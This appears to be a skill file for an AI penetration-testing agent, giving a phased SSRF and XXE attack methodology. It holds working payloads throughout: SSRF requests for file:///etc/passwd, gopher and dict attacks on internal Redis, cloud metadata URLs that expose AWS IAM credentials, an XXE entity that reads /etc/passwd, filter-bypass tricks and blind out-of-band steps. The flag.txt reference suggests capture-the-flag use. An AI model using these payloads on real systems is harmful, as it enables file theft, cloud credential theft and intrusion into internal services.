ssrf-xxe-methodology

SSRF/XXE Attack Methodology

⛔ In-Depth Reference (Must Read)

⛔Must Read Need a complete IP filter bypass list, cloud metadata paths, protocol exploitation → read_skill(id="ssrf-xxe-methodology", path="references/ssrf-bypass.md")
⛔Must Read Need XXE file reading, blind XXE out-of-band, SVG/DOCX XXE → read_skill(id="ssrf-xxe-methodology", path="references/xxe-exploitation.md")

Part A: SSRF (Server-Side Request Forgery)

Phase 1: Discover SSRF Entry Points

Parameter Name Clues(highly suspicious): url, uri, path, src, dest, redirect, callback, next, data, reference, site, html, imageUrl, feed, target, proxy, link

Functionality Clues: URL preview, PDF/image generation (wkhtmltopdf, puppeteer), Webhook, remote image fetching, RSS import

Phase 2: Basic SSRF Verification

url=http://127.0.0.1/
url=http://localhost/
url=http://127.0.0.1:PORT/

Response difference assessment: content changes → reflected SSRF | only status code → semi-blind | no difference → fully blind

Pitfall: the application may filter 127.0.0.1 but allow variants → bypass needed (read_skill(id="ssrf-xxe-methodology", path="references/ssrf-bypass.md")）

Phase 3: Protocol Exploitation Quick Reference

url=file:///etc/passwd       # 文件读取（最高价值）
url=file:///flag.txt
url=gopher://127.0.0.1:6379/ # 攻击内部 Redis（⚠️ PHP curl 可用, Python requests 不可用）
url=dict://127.0.0.1:6379/info

Phase 4: Cloud Metadata Quick Reference

http://169.254.169.254/latest/meta-data/iam/security-credentials/  # AWS
http://metadata.google.internal/computeMetadata/v1/                 # GCP (需 Header)
http://169.254.169.254/metadata/instance?api-version=2021-02-01     # Azure (需 Header)

Part B: XXE (XML External Entity Injection)

Phase 1: Discover XXE Entry Points

Content-Type: application/xml or text/xml endpoints
Change JSON requests to XML: even if the endpoint accepts JSON, also try sending XML
File uploads (DOCX, XLSX, SVG are all XML formats)
SOAP API

Phase 2: Basic XXE File Reading

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

Key：&xxe; must be placed in an XML element that gets reflected!

Phase 3: Exploitation Decision Tree

XXE 入口确认
├─ SOAP 端点？ → ⛔ XXE 必须嵌入 SOAP Envelope！→ `read_skill(id="ssrf-xxe-methodology", path="references/xxe-exploitation.md")`
├─ 有回显？ → 直接 ENTITY file:/// 读文件
├─ 无回显？ → 盲 XXE 参数实体 + 外部 DTD 外带（用 `callback_listener` 接收 OOB 回调）→ `read_skill(id="ssrf-xxe-methodology", path="references/xxe-exploitation.md")`
├─ PHP 目标？ → php://filter/convert.base64-encode 绕过 XML 特殊字符
└─ 文件上传入口？ → SVG/DOCX XXE → `read_skill(id="ssrf-xxe-methodology", path="references/xxe-exploitation.md")`

Notes

SSRF and XXE are often combined: SYSTEM in XXE is SSRF
file:// is the highest-value protocol: directly reads server files
Gopher Pitfall: PHP curl supports gopher, Python requests does not
XML Parser Differences: Python lxml disables external entities by default

Part A.5 SSRF Protocol and Library Limitations

Different implementations support different protocols: not all SSRF supports all protocols (library limitations)
IP short-form bypass:127.1、127.0.1(omit 0)

Part B.4 JSON to XML Attack (XXE)

Some backends support both JSON and XML, and the parser automatically selects the format
Even if the documentation says JSON, also try XML Content-Type; implicit support may exist
Method: convert JSON to XML, construct an XML body to replace the format, and inject the XXE payload